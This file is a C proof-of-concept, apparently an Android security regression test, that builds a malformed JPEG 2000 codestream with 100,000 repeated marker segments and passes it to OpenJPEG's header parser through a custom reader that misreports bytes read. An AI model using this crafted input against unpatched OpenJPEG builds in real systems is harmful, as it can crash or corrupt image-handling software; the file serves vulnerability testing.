/** * Copyright (C) 2021 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #define _GNU_SOURCE #include #include #include #include #include "openjpeg.h" #include "opj_includes.h" #define REPEATVALUES 100000 unsigned char gStartValues[] = { 0xFF, 0x4F, 0xFF, 0x51, 0x00, 0x2F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x2E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x2E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x07, 0x01, 0x01, 0x07, 0x01, 0x01, 0x07, 0x01, 0x01, 0xFF, 0x64, 0x00, 0x23, 0x00, 0x01, 0x43, 0x72, 0x65, 0x61, 0x74, 0x6F, 0x72, 0x3A, 0x20, 0x4A, 0x61, 0x73, 0x50, 0x65, 0x72, 0x20, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6F, 0x6E, 0x20, 0x31, 0x2E, 0x37, 0x30, 0x30, 0x2E, 0x31, 0xFF, 0x52, 0x00, 0x0C, 0x00, 0x00, 0x00, 0x01, 0x01, 0x05, 0x04, 0x04, 0x00, 0x01, 0xFF, 0x5C, 0x00, 0x13, 0x40, 0x40, 0x48, 0x48, 0x50, 0x48, 0x48, 0x50, 0x48, 0x48, 0x50, 0x48, 0x48, 0x50, 0x48, 0x48, 0x50, 0xFF, 0x5D, 0x00, 0x14, 0x01, 0x40, 0x40, 0x48, 0x48, 0x50, 0x48, 0x48, 0x50, 0x48, 0x48, 0x50, 0x48, 0x48, 0x50, 0x48, 0x48, 0x50, 0xFF, 0x5D, 0x00, 0x14, 0x02, 0x40, 0x40, 0x48, 0x48, 0x50, 0x48, 0x48, 0x50, 0x48, 0x48, 0x50, 0x48, 0x48, 0x50, 0x48, 0x48, 0x50 }; unsigned int gNumStartValues = sizeof(gStartValues) / sizeof(gStartValues[0]); unsigned char gRepeatValues[] = { 0xFF, 0x75, 0x00, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; unsigned int gNumRepeatValues = sizeof(gRepeatValues) / sizeof(gRepeatValues[0]); unsigned char gLastValues[] = { 0xFF, 0x75, 0x00, 0x09, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00 }; unsigned int gNumLastValues = sizeof(gLastValues) / sizeof(gLastValues[0]); typedef struct { char* blob; ssize_t blobSize; ssize_t readPos; } applicationContext; opj_stream_t* allocate_stream(void) { opj_stream_private_t * stream = NULL; stream = (opj_stream_private_t*) opj_calloc(1, sizeof(opj_stream_private_t)); if (!stream) { return NULL; } stream->m_buffer_size = OPJ_J2K_STREAM_CHUNK_SIZE; stream->m_stored_data = (OPJ_BYTE *) opj_malloc(OPJ_J2K_STREAM_CHUNK_SIZE); if (!stream->m_stored_data) { opj_free(stream); return NULL; } stream->m_current_data = stream->m_stored_data; stream->m_status |= OPJ_STREAM_STATUS_INPUT; stream->m_opj_skip = opj_stream_read_skip; stream->m_opj_seek = opj_stream_read_seek; stream->m_read_fn = opj_stream_default_read; stream->m_write_fn = opj_stream_default_write; stream->m_skip_fn = opj_stream_default_skip; stream->m_seek_fn = opj_stream_default_seek; return (opj_stream_t *) stream; } static OPJ_SIZE_T ReadHandler(void *buffer, OPJ_SIZE_T length, void *context) { applicationContext* appContext = (applicationContext*) context; ssize_t count = 0; ssize_t rem = 0; if (!appContext) { return ((OPJ_SIZE_T) - 1); } rem = appContext->blobSize - appContext->readPos; if ((ssize_t) length <= rem) { count = length; } else { count = rem; } memcpy(buffer, &appContext->blob[appContext->readPos], count); appContext->readPos += count; return ((OPJ_SIZE_T) length); } int main(void) { ssize_t offset = 0; unsigned int count = 0; applicationContext sContext; opj_j2k_t* codec = NULL; opj_stream_t* stream = NULL; opj_image_t* image = NULL; opj_stream_private_t* private = NULL; opj_event_mgr_t eventMgr; stream = allocate_stream(); private = (opj_stream_private_t*)stream; sContext.blobSize = gNumStartValues + REPEATVALUES * gNumRepeatValues + gNumLastValues; sContext.blob = (char*) opj_malloc(sContext.blobSize); if (!sContext.blob) { return EXIT_FAILURE; } memset(sContext.blob, 0, sContext.blobSize); memcpy(&sContext.blob[offset], gStartValues, gNumStartValues); offset += gNumStartValues; for (count = 0; count < REPEATVALUES; ++count) { memcpy(&sContext.blob[offset], gRepeatValues, gNumRepeatValues); offset += gNumRepeatValues; } memcpy(&sContext.blob[offset], gLastValues, gNumLastValues); offset += gNumLastValues; sContext.readPos = 0; private->m_read_fn = ReadHandler; private->m_user_data = (void*)&sContext; private->m_user_data_length = sContext.blobSize; private->m_free_user_data_fn = NULL; codec = opj_j2k_create_decompress(); opj_set_default_event_handler(&eventMgr); opj_j2k_read_header(private,codec,&image,&eventMgr); opj_free(sContext.blob); return EXIT_SUCCESS; }